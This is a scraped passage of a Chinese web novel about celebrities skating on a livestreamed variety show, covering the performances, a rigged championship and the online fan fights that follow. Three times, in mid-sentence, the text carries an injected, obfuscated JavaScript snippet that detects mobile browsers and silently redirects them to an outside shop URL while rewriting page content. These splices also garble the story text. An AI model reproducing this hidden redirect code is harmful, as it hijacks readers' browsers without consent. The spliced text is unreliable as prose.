【谁再蛐蛐我们花滑吉祥物,我抡蝴蝶结打你!】 …… 看着翻滚而过的弹幕,小O也不由轻笑了一声,但很快镇定地继续主持道:“第一个出场表演的就是陈渺,她带来的曲目是《睡美人》,出自著名作曲家柴科夫斯基,同名的芭蕾舞剧在马林斯基剧院首次公演,让我们期待一下睡美人在冰上芭蕾的表现吧!” 聚光灯在冰面投下淡金色的圆,陈渺此时已经垂手立在圆心。 音乐从竖琴的涟漪中漫开,足尖轻点,冰刀在冰面上发出轻微的摩擦声,身后拖曳出两道长长的弧线。 她舒展的姿态像极了奥罗拉公主在森林中穿梭,明黄色的花滑裙上缀着的碎钻迎光闪耀,像沉睡森林里未落的星子。 【bulingbuling的,裙子好美啊~】 【好像公主啊,和冰雕城堡太适配了,简直就是为她量身打造的!】 【女鹅!妈妈爱你!】 …… 而此时,陈渺的内心是—— “妈呀妈呀,要撞上了,撞……要撞上了!”眼前正是爸爸不远万里从北方拆解空运回来的城堡冰雕,此时仅剩半米远。 陈渺急中生智做了个双足转,裙角擦过冰雕,然后颤颤巍巍地向另一个方向滑去,离冰雕渐行渐远…… 演播室里,小H刚捏了一把汗,长舒了一口气才说:“自……自创步法!发挥非常稳定,很有想法,燕式滑行接双足转!” 陈渺踉踉跄跄,如果说刚刚还是高贵公主,此刻就是一只笨拙的企鹅,节奏全乱了,她颤颤巍巍地赶上音乐,匆忙完成了一个并不完美的华尔兹跳。 【竟然跳成功了?没想到。】 【女鹅真棒!】 【差生考了六十分既视感。】 音乐进行到变奏,冰刀在轴心偏移时发出刺耳的刮擦,下一个动作是编舞老师排好的后外点冰跳。 陈渺的膝盖微微发颤,她深吸了一口气,猛地一个下蹲起势,僵直着身体一跃而起,落地时重心明显偏离,在冰面做了一个非常难看的青蛙蹲才稳住身体。 随后,她像个刚学会走路的婴儿跌跌撞撞地完成基础滑行,谢幕时还差点撞翻防护栏,最后强装镇定地望向镜头,维持着EndingPose直至音乐彻底结束。 几秒后,现场响起了稀稀拉拉的掌声,她才终于收回手,尴尬地吐了吐舌头。 真好,又活了一天。 【早期人类驯服四肢过程实录……】 【好可爱,想把渺渺装在口袋里带回家!】 【渺渺是花滑吉祥物,诚不欺我!】 …… 演播室内,小H作为陈渺的助教鼓励发言:“虽然编排动作都比较简单,但陈渺这次的完成度很高,前期我们编排的所有动作她都做到了。而且她作为零基础选手,能在两个月内做到这些,已经很棒了。” 小O继续推流程:“下一位表演嘉宾,是大家非常期待的,荧屏女神——江舒然,这次表演是她息影归来的首秀,她带来的曲目是《GoodbyeMr.Lawrence》。” 后台正在切换音乐,演播室里却聊了起来。 小H兴奋起来:“舒然姐姐,我真的很喜欢她的戏,我妈也特别特别喜欢她!” 小P:“口水都要流下来了,是不是已经悄悄要好签名了?” 小H赶忙否认:“没有没有,准备节目结束后再去讨要,上节目不方便,我可是陈渺的助教!” 小O继续埋汰道:“你还记得自己是陈渺的助教啊?我看你是没命下节目了。” 陈渺是香蕉视频总裁的女儿,香蕉视频又是这个节目的最大赞助商,他们几个助教自然是知晓的。 小H大惊失色:“啊?那怎么办?” 得罪了娱乐圈巨佬,应该不关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203456|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们体育圈事儿吧? 一直沉默不语的小E淡淡道:“发卖。” …… 此时的弹幕也乐开了花—— 【发卖,哈哈哈】 【哈哈哈,发卖哥好好笑。】 【发卖哥的声音也好好听~】 …… 冰场穹顶的穹窿灯猛然亮起。 江舒然将下颌抵在冰刀护套上,黑色花滑裙像一尾垂死的蝶,肩头两片薄纱随着呼吸起伏,折射出冰面细碎的光。 《GoodbyeMr.Lawrence》的钢琴声像融化的雪水漫进场馆,江舒然松开护套,足尖在冰面划出半弧,抬手时腕间红绳与冰晶相撞,发出极轻的碎裂声,像从远古传来的悠远铃铛。 【天啊!江舒然真的太美了!】 【哇~谁懂“江舒然”这三个字的含金量!这身段前凸后翘,眼泪从我的嘴角流下来……】 【前面的你别太离谱!】 【女神!永远的女神!prprpr/舔屏幕到手机进水】 …… 音乐进入暴烈的弦乐部。 江舒然忽然翻身跃起,燕式回旋带起冰雾,脚下溅起的冰花如同星屑,紧跟着,她猛地蹬冰提速,交叉摇滚步掀起雪浪,几个莫霍克步宛若跌进深秋的枯叶。 小O:“动作非常流畅,真让人惊喜!” 小P:“太美了!E哥,你带出来的优等生,你快说两句!” 小E望着场内滑动的那抹身影,沉声道:“这首曲子很适合她。” 原本,节目组还给了几首更昂扬雀跃的音乐,可江舒然都拒绝了,偏偏选了这首。这首曲子情绪很低,甚至有些悲伤,但于她而言似乎有着不同寻常的意义。 小E并没有阻挠。两周来,江舒然每天跟着这首曲子都练到很晚,每一个音符动作早已烂熟于心。 “这套动作我们练了很多遍,不会有任何问题……”小E的话还在嘴边,可在看到冰场上江舒然的刹那,突然止住了话,眉头陡然一蹙。 冰场内,江舒然突然张开了双臂,排练时根本没有这个动作。 风吹过她的脸颊,抚动她的发丝,像温柔的亲吻落在她的心头,有什么东西如细小的电流顺着她的血管在游走。 风是真实的,心跳是真实的,脚下的冰也是真实的。 三年来,从未有一刻像现在这般让她放松。 她的目光凝视着远方,仿佛透过那茫茫的冰雾看着另一个只属于她的世界。 久违了。 大提琴独奏响起,江舒然在冰场中央仰起头,2LO起跳的瞬间,场馆顶部的射灯在她瞳孔里炸成万花筒。 一周,两周……黑色裙摆绽成一朵妖冶的黑罂粟。 “哇——”观众不由自主地发出了一声惊呼,有几个甚至不受控制地站了起来。 旋转轴心偏移的刹那,观众席传来了压抑的抽气声——偏了! 落冰的瞬间重力几近将她撕裂,但这次她没用手撑地,任由右膝重重撞上冰面,像一片坠入熔炉的雪花。 【她想跳2LO?怎么可能学两个月跳2LO,太冲动了!】 【摔倒也好美啊,嗷嗷嗷,我的眼睛无法从她身上移开!】 【这个动作很难的!舒然姐姐摔疼了吧!我来呼呼~】 江舒然支撑着冰面起身,她淡然地整好衣裙,昂起天鹅颈继续自己还未完成的曲目,旋转,跳跃,滑行…… 14. 我也觉得 回旋的步伐与冰刀划过的轨迹勾画出一条条优美的弧线,刚刚的意外并没有影响江舒然的发挥,她甚至更加放松了,仿佛整个世界都在她的脚下旋转。 小E的目光一直跟随着场内的江舒然。 他们原来在这处安排的是后外点冰跳,江舒然刚刚临时将动作改成了难度系数更高的2LO。 江舒然的舞步依然优雅,身体随着旋律弯曲与伸展,像游走于梦境与现实之间的精灵。 自由,对,是自由。 当背景音的最后一个音符落下,冰面仿佛在一瞬间凝固了。 江舒然定格站在那里,胸膛随着急促的呼吸起伏,冷艳而美丽。 现场响起了响亮的掌声。 【破碎美学巅峰!】 【大花就是大花,摔倒了再站起来还那么优雅!】 【在荧幕上的她真的好不一样!在发光!我快被迷死了!】 【姐姐,朝我的胸口开枪!】 …… 江舒然向观众席鞠躬致谢,随后缓缓滑到场边,陈渺已经迎了上来,不吝夸奖道:“舒然姐姐,你好美啊!” 江舒然朝她一笑,目光又落向了楚幺幺,一贯自信的脸上露出了些许懊恼的神色,“失误了。” 她们每天晚上滑冰场加练,现在俨然已是战友。 江舒然的2Lo练得不算娴熟,成功率只有30%,如果老老实实地做后外点冰跳,成功率则是百分百。 “可我觉得你超酷的。”楚幺幺说。 江舒然微微一怔,脸上随即露出了释然的笑,她点着头说:“我也觉得。” 从来没有人说过“江舒然酷”,他们总是说“江舒然好美”,“江舒然好优雅”……她从来不知道,是不是可以有另一个江舒然。 …… “没事儿,才哪儿到哪儿啊。”小O拍了拍小E的肩安慰,眼里却满是同情。表演的编曲和编舞,事先都是彩排确认过的,带的“娃”没按常理出牌,确实难顶。 “感谢江舒然老师给我带来这一段充满惊喜的表演,虽然2LO没有成功,但是美得惊心动魄。”小O念着手中的串词,“下一位嘉宾是池小冰,她带来的是经典曲目《梁祝》。” 【冰冰,妈妈爱你~~】 【池小冰的表演一定很好看!】 【那当然啦,上节目前她就已经会前压步了。】 【冰冰真的好优秀,长得漂亮,戏演得好,还这么努力!】 …… 池小冰一袭红衣,扬着下巴从她们三人面前经过,缓缓步入场内。 伴随着乐曲《梁祝》的前奏响起,冰刀划过冰面,池小冰茜色的裙摆随着动作飞扬,宛若蝴蝶迎风展翅。 她的第一跳稍许不稳,右脚在空中略微偏离了轨迹,但她巧妙地调整了姿势,稳稳落地。 紧接着的几个动作,跳跃、旋转、滑行,每一个细节都极尽完美,仿佛她的身体与冰面融为一体。 【小冰好厉害啊!不输职业花滑选手!】 【好美啊,真的像一只破茧而出的蝴蝶!】 【这首曲子,我记得是秦佳二十年前在冬奥会上跳的吧?】 【是啊是啊,当时万人空巷看那场比赛,秦佳拿下了中国第一枚女单花滑冠军,真的很争气!】 特写镜头聚焦到池小冰的眼眶,那隐隐泛着泪光的双眼,映射着镁光灯的光芒。 导播巧妙地切换,画面转至秦佳年轻时的比赛片段,画面中的她充满了力量与柔美,夺冠的时刻依旧历历在目。 镜头给到了台下的秦佳,她正望着大屏幕上投影的自己,眼尾微微发红。 热度瞬间飙升,直播间的热度迅速突破八百万,弹幕纷纷热烈讨论起来。 【小冰好棒!必须是冠军!】 【好怀念那时候的花滑队啊!现在真的一个能打的都没有!】 【新生代跟不上,迟早被淘汰!】 【已经被淘汰了,甩得我们看不到尾气~】 【没看到现在花滑队都来接这种综艺了吗?哪有出头日?】 【呜呜,小冰好用心,我仿佛看到了二十年前的秦佳……】 《梁祝》迎来了高潮。 池小冰一跃而起,在空中做了三个连续的华尔兹跳,几个接续步后,她像一只美丽的蝴蝶标本,被钉在冰面。 …… 场地里的观众吹起了欢呼的口哨,池小冰微笑着扯着裙摆冲着观众席鞠躬谢幕,掌声经久不息。 “非常完整的一段表演,旋转、跳跃和滑行都很扎实。”小O赞许道。 小P:“小冰为这次的比赛付出了很多,她是这几位嘉宾里基础最好的,平常又努力。” 在后台的陈渺明显不买账,“这个杀人未遂犯在拽什么?”她嘟着嘴,一脸不服。 “嘘。”江舒然比了个噤声手势,示意现在是直播。 “我才不怕她!” 楚幺幺无奈,说道:“给剪辑师省点事儿吧,剪辑的刀都没你的嘴快。” “嘿嘿~我爸请的剪辑师,年薪两百万呢!” 为了陈渺这张嘴,陈总可是下了血本,保证没有一句“危险发言”流露到市面上。 “你很骄傲?”楚幺幺反问。 “没有没有,我很乖的~”陈渺扭着身子撒了个娇。 …… 演播室里,报幕还在继续:“下面我们请出本场最后一位选手——楚幺幺,她表演的曲目是《Storm》。” 小P:“上一回听到《Storm》还是八年前。” “是啊,非常有难度的一首曲子。” 【——以上是分割线——】 【直播已结束,大家可以走了。】 【楚幺幺有什么好看的?】 【这节目有楚幺幺简直是败笔!】 【这个不会就是在程漾葬礼上吐了的那位吧?】 【是啊!就是她!】 【晦气死了,能不能跳过直接公布结果啊?】 …… 楚幺幺滑向冰场中央,以阿拉贝斯姿态悬浮在幽蓝光影里,头顶的射灯打在她身上,浅蓝色薄纱从腰间流淌而下,渐变色的裙摆像被月光劈开的寂静之海。 四周的辅助灯光渐暗,一瞬间,空气仿佛也跟着静止了,观众席上也陷入了沉寂,只有零碎的几个声音断断续续地飘来—— “装神弄鬼什么啊?” “废物也好意思表演?” “竟然还压轴出场,真是笑掉大牙!” 楚幺幺深吸了两口气,将周遭的声音全部屏蔽,冰雪的寒气穿过她的肺腑,像一股清流穿过她的全身。 当第一个音节从寂静之海里跳出,她脚下的冰刃也随之破开第一道光痕,一个流畅地后内规尺步后接续一串双足直立旋转,蓝纱裙摆漾开霜色涟漪。 背景音乐中的四分音符不急不缓,海面犹如襁褓中的婴儿,枕着蓝色丝绒的绵塌刚刚醒来。 楚幺幺衔接着滑行步绕场过半,耳侧的钢琴伴奏里渐渐混入了小提琴,就像多年前,哥哥拉给她听的那样…… “阿漾只要做自己想做的事情就好。” “那哥哥呢?” “哥哥会永远守护你,不让阿漾受到任何伤害。” …… 蓝白色的身影踩着音乐的脉搏,顶着一声声的波涛踢腿和小跳,在冰面划出流畅而不规则的弧线,她手上的姿势轻柔而婉转,就像鸟儿在空中张开翅膀…… 【这是楚幺幺吗?】 【……她是在跳芭蕾?】 【这小跳和擦地,真的好像芭蕾!】 【她什么时候瘦了这么多?(小声bb)】 【几个滑步就把你们惊成这样,没见过世面。】 【不是简单的滑步,她在bination!】 …… 音乐的补点逐渐强烈,让人仿佛置身暴雨如注的大海,密集的雨点席卷了整片海面,水花爆裂出无数的音符,在海面跳动着。 楚幺幺的足尖捻转搅动碎冰,右手臂上的伤苏醒成蛰伏的兽,她的滑行步仿佛在描摹海浪的形状,裙裾抖落的碎钻坠入追光。 她的手有些发颤,呼吸也逐渐急促…… 好冷。 妈妈撕心裂肺的哭泣声在冰冷的停尸间里回荡,哥哥躺在箱子里,那张英俊却毫无血色的脸刺痛了她的眼…… “把你哥害死,现在你满意了吗?!”爸爸怒吼着,一个耳光结结实实打在她的脸上,她的脸颊火辣辣地疼。 阿宴抱紧了她,用身体挡在她面前,她的喉咙发不出一个字,只有泪水不断涌出,打湿了阿宴的衣衫…… 突然,她一个急速转身,右脚用力蹬冰起跳,冰刃吃进冰面的刹那,弯折的膝盖像压缩到极致的弹簧骤然释放,在空中翻转三周后,她轻巧地回到冰面,冰刀触地的瞬间,现场爆发出齐刷刷的一声:“哇——” 【我去!她在干什么?!】 【怎……怎么可能?】 【卧槽!后内结环三周跳!】 【真的是后内结环三周跳!】 …… 演播室里小O的声音频频传来—— “漂亮的燕式滑行!” “后内结环两周跳也很完美!” “音乐和肢体动作的衔接做了Layback,非常高级的处理。” ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203457|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【什么后内结环三周跳?很难吗?】 【真的很难!!!我学了大半年!】 【瞎猫碰上死耗子吧?】 …… 小O看着冰上滑行的楚幺幺,目光一秒都不敢移开,到目前为止,她都做得很好,按照计划,只要顺利完成最后一个勾手跳,就可以完美结束这场表演。 音乐里几颗单薄的钢琴音一颗一颗掉落出来,刀齿步配合着芭蕾舞的步伐,划过寂静的冰面。 突然,冰面上那抹蓝白色的身影改变了节奏,她转身像一匹脱缰的烈马,滑冲了几步骤然跃起。 向前起跳? 她想做Axel?! 小O瞳孔一震,双手按着案台准备站起来,却被一旁的小E用手按着肩膀,压回了座位。 基操,淡定。 …… “哥哥的梦想不是当医生吗?” “不是的。哥哥的梦想是希望阿漾和爸爸妈妈永远幸福。” “哥,你这样不好,人要自私一点才会幸福。” “那就让阿漾做那个自私的人吧,要带着哥哥的梦想,一起努力。” …… “哇——”看台上的人惊得捂住嘴,目光追随着那抹蓝色的倩影,险些忘了合上下巴。 楚幺幺雪白的后颈在空中拉出一个优越的弧度,她的身体在半空高速旋转,双腿紧紧收拢,动作如同流星划过天际,每一次旋转都带动空气激烈震动。 一圈……两圈……三圈半…… 落地的瞬间,周围的空气都凝固了,观众席鸦雀无声。 楚幺幺挥动着手臂像鸟翱翔在天空,她是新生的海燕,会迎着风划破这片苍穹,飞到无人能及的地方…… 【我是不是眼花了?】 【刚刚那是3A吗?】 【怎么可能?!】 …… 演播室里难以置信的声音肯定了弹幕的猜测—— 小O近乎嘶吼,敲着桌子站起来:“3A?她跳了一个3A!” 滞空轨迹不算完美,但那就是3A! “她什么时候学的?!” 几个助教惊讶地互相看看,目光落到小O身上,后者扶着桌子,久久无法回神,“我……我不知道。” 身为助教,他竟然不知道。他记得她随口提过一次,可他告诉她以她的年龄条件,能跳1A就已经是天赋异禀了,她竟然偷偷学了3A? 怎么可能?从来没有18岁可以学到3A的先例! 小O不可置信地睁大了双眼,保持着这样震惊的表情好几秒,蓦地,竟不自觉地“嗤笑”了一声。 没有先例,楚幺幺就是先例! 音乐的旋律逐渐清透,好像雨过天晴之后,拨云见日般澄明。 看台上,所有的观众都站了起来,原本来看笑话的人此刻都呆若木鸡。 楚幺幺跳着霍克步回到冰场中央,音乐的节奏逐渐清明,她侧身提刃开始旋转,一开始是缓慢的旋转,然后突然加了一个旁腿转的力,冰刀在冰面磨出细密的冰屑。 她越转越快,仿佛被一股无形的力量不断推动,飞旋在冰场的中心。 裙上的水晶折射着光芒,她就像一颗星辰在暗夜无尽闪烁。 …… 人群里,有人轻声低喃了一句:“程漾。” 对,是程漾。 【程漾!是程漾的招牌动作旁腿单脚直立转!】 【她在跳芭蕾!是程漾最爱的芭蕾!】 【天啊!我快哭了……真的……好像程漾……】 【你们别说了,我好想阿漾,呜呜……】 弹幕上飘过一片蜡烛,哀悼那位陨落的启明星…… 当最后一个音符落地时,楚幺幺用冰刃陡然刹住了旋转,她的双手错落举过头顶,以定格姿势矗立在冰场中央,像一尊神女雕像。 音乐已然抽离,全场仿佛被冻结了一般,安静得能听到针线落地的声音。 静谧的气氛持续了十几秒,人群里不知是谁带了头——“程漾……” 紧接着,零零散散的几个声音,逐渐带领着看台上的的观众形成了合围之势。 “程漾!……程漾!……程漾!” 场地里,跟随着鼓掌的节奏,回荡着那个并未出现在这个节目的名字,就像远古的梵音砸在大地上。 楚幺幺抬起头,头顶的射灯照在她脸上,鼻尖沁出细细的汗,观众席上,黑压压的人群此刻全都站了起来,呼喊着她曾经的名字。 耳边是如海浪般汹涌的尖叫和呐喊声,目之所及之处是万千闪耀的灯光,和之前每一场演唱会落幕时一样,让她无比的兴奋。 我,回来了。 15. 内娱完了 此时,在看台上靠近出口的位置,一身黑色西装的裴宴林正长足而立,犹如雕刻般完美的身形在灯光下显得更加冷峻。 他的目光不经意地划过周围的嘈杂与热烈,牢牢锁定在冰面上的那道身影上,终于,在看到楚幺幺手臂上沁出的血时,收回了敌视的目光,一言未发地转身离去。 蓝白色的底衬上,鲜红的血液犹如一朵怒放的彼岸花。 楚幺幺双腿交叉,朝着左右观众各做了一个鞠躬谢幕。 等她回到等候区,陈渺已经压抑不住激动之情,冲上来一把抱住了她,“楚幺幺!你太厉害了!” 下一秒,她瞥见了楚幺幺右臂上的伤,“又流血!我去找赵医生。” 话音刚落,一位穿着白大褂的医生就提着医药箱进来了,他望着楚幺幺问:“您是楚小姐吧,我来给您处理伤口。” “麻烦了。” 楚幺幺坐下来,将手臂伸过去,血液渗出了一大块,医生用剪刀剪开她的袖子,露出被绷带缠绕的手臂。 陈渺微微俯下身,看到伤口时皱紧了眉。 该死的池小冰! 医生熟练地清洁伤口,清凉的消毒水在血迹与肌肤间摩擦,带来一阵刺痛的凉意,不一会儿,新的纱布开始一层一层缠上手臂。 陈渺:“这次节目组的医生来得还挺快。” 医生收拾好医药箱,转身递给楚幺幺一张名片,“楚小姐,我是寰宇集团后勤保障部的。” “寰宇?”名片上赫然印着寰宇集团的Logo。 “是的,后续有任何需要可以联系我。”医生朝她点头示意,然后提着药箱走了。 陈渺恍然大悟,两手一拍,道:“差点忘了,寰宇集团产业那么大,我们这片冰场也是租的他们家的!” 一旁,一直没有开口的江舒然说话了,“恭喜。” 这几个月,她和楚幺幺每天晚上在冰场加训,可楚幺幺的进步速度实在太快了,尤其是后一个月,仿佛换了一个人。 “谢谢。” 这时,陈渺突然捏住了楚幺幺的肩,一副伯乐选中了千里马的模样,兴奋地问她:“幺幺,你刚刚真的太美了!像从书里走下来的一样!我以后要投资拍花滑题材的电视剧,你一定要来当我的女主角!” 她说着露出了一个可怜巴巴的表情,似乎这样就能让她这没头没尾的话,显得更真实些。 楚幺幺被夸得一头雾水,只好宠溺地笑,还没来得及回话,场地外头背景报幕的声音已经传来—— “下面由北山市花滑协会陈主席宣布本次表演赛的冠军!” 三人不约而同都看向了大屏幕,镜头给到一个白发老头,颤颤巍巍地站起来,手里握着一张纸。 “那肯定是幺幺呀!”陈渺搂着楚幺幺的肩,眼睛盯住了大屏幕。 陈主席清了清嗓子,念道:“在这片冰雪的舞台上,今天,她不仅仅是一位运动员,更是一位艺术家。她的每一个动作、每一次滑行,都如同绘画大师手中的笔触,勾画出一幅幅动人心弦的画面。今天,站在这里,我们见证了一个不懈追求完美的灵魂,超越了自我,超越了对手,超越了每一寸冰雪。今天,她是冠军,是花滑的女王。她的名字将永远镌刻在这项运动的历史之中,成为无数后辈的榜样和动力源泉,她就是——池小冰!” 池小冰从另一侧的等候区滑上冰面,朝观众鞠了一个躬,她接过陈主席手上的奖杯,说道:“谢谢大家的肯定,我会继续努力,不辜负大家的期待。另外,也请大家多多支持我的新作品——《白色恋人》,一定来看哦~” 而此时的弹幕—— 【虽然我不喜欢楚幺幺,但她的完成度和动作难度明显比池小冰高!】 【节目组是不是把人当傻子啊?】 【早说了都是剧本,再看这些节目我就是傻子!呸!】 【早就内定好了?那还搞什么直播?】 【内娱完了!!!】 现场的观众席上爆发出一阵骚乱,有人在吼。 “黑幕!” “什么花滑主席,他懂不懂花滑?” “尊重观众!尊重现场!尊重艺术!” “老娘花钱来看不是受这窝囊气的!” …… 骚动愈演愈烈,随着第一个空水瓶被丢入场内,无数的空瓶子、玩偶,甚至用过的纸巾都被扔进了冰场。 后台的导播赶紧切断了网络画面,节目组瞬间乱作一锅粥,手忙脚乱的工作人员指挥着嘉宾匆忙退场。 混乱之间,楚幺幺被人连拉带拽着拖出了冰场,塞进了后门的那辆保姆车内,车门被带上的瞬间,她和司机面面相觑。 上节目两个月了,她第一次有待遇坐节目组的保姆车,车身上还有番茄娱乐的标志。 “楚……楚小姐,您去哪儿?” 楚幺幺报了住址,转身望着车窗外混乱的人群。 番茄娱乐的老板要是知道,力捧新人池小冰的这档综艺,被她这么明晃晃地搅黄了,真不知道要作何感想。 舆论发酵如洪水决堤,不过一小时,《偶像冬奥会》花滑黑幕的话题就被顶上了热搜。 陈渺的微信消息紧随其后:幺幺,看朕为你打下的江山! 配图是陈渺和微博幺黑嘴炮的画面—— [@花滑圈纪检委]:楚幺幺废物一个还怪黑幕?轴心飘成那样了,裁判没给负分已经是菩萨显灵! [@陈渺喵喵大步向前]:连夜把裁判席改眼科医院吧!旋转轴心比你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204888|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人生规划还稳。建议黑子亲自滑,毕竟您脑袋里的水冻成冰正好凑个自创动作! [@池小冰的滑冰鞋]:笑死,楚幺幺自由滑音乐是《Storm》吧?改名叫《风暴の扑街》更贴切,BGM连点都没卡上!动作跟进过ICU一样,解说还挽尊说什么是LayBack,真是笑掉大牙! [@陈渺喵喵大步向前]:刚从ICU捞到你正主了!她看完楚姐旋转步伐羞愧到吞灯管! [@花滑评委席保洁员]:偷偷说句实话,楚幺幺张开手臂摆动就跟猫挠墙一样。 [@陈渺喵喵大步向前]:保洁阿姨擦干净评委席眼镜吧!您把「燕式巡场」看成猫挠墙,这边建议您转行做《动物世界》解说呢。 …… 楚幺幺:你别参与了,也别惹事。 陈渺:那怎么行?!欺负我姐妹,那不是在我头上拉屎? 楚幺幺:那你能不能切个小号? 陈渺:哦,啊?!!!我忘了! …… 楚幺幺扶额欲哭无泪,这位大小姐真是会给她老爹找麻烦。 微博上的黑粉对战还在继续,楚幺幺的粉丝量激增,一晚上已经突破100万,连带着桔梗少女的官微也“噌噌噌“地涨粉。 [@无关的路人甲]:纯路人,凭良心说这就是黑幕。 [@娱乐圈头等号]:没人觉得楚幺幺最后的动作很像程漾吗? [@漾漾的发带]:真的好像……而且她也是惯用左脚…… [@复仇小草莓]:明眼人都看得出楚幺幺难度系数更高啊,节目组搞什么飞机?! [@池小冰的墙头草]:注意注意!!楚幺幺请了好多水军,大家不要被骗了! [@互联网包青天]:笑死人啦,她这个草包脑袋空空腰包空空,哪来的钱和脑子买水军? [@猴子请来的逗比]:就是,桔梗少女都糊成那样了! …… 番茄娱乐公关了一晚上,热搜都撤不下来,第二天,节目组官博紧急避险发了条微博—— @偶像冬奥会:节目组所有评分环节均符合规定要求,由于嘉宾非职业选手,动作分评分标准只设计到勾手跳,评委会评分完全符合标准。当然,我们不否认幺幺的努力,对因节目组考虑不周给嘉宾和观众带来的观感不佳表示郑重道歉,同时,更正夺冠信息,本次《偶像冬奥会花滑篇》冠军为双黄蛋:池小冰、楚幺幺!恭喜你们!@池小冰@桔梗少女-楚幺幺 而此时的楚幺幺刚刚醒来,这条消息刚弹出就被她划走了,比起这个双黄蛋,她更想看看经过昨天一战,自己涨了多少粉丝,哪怕是黑粉也好。 可她的视线很快就被另一条推送消息吸引了——【#江舒然离婚#】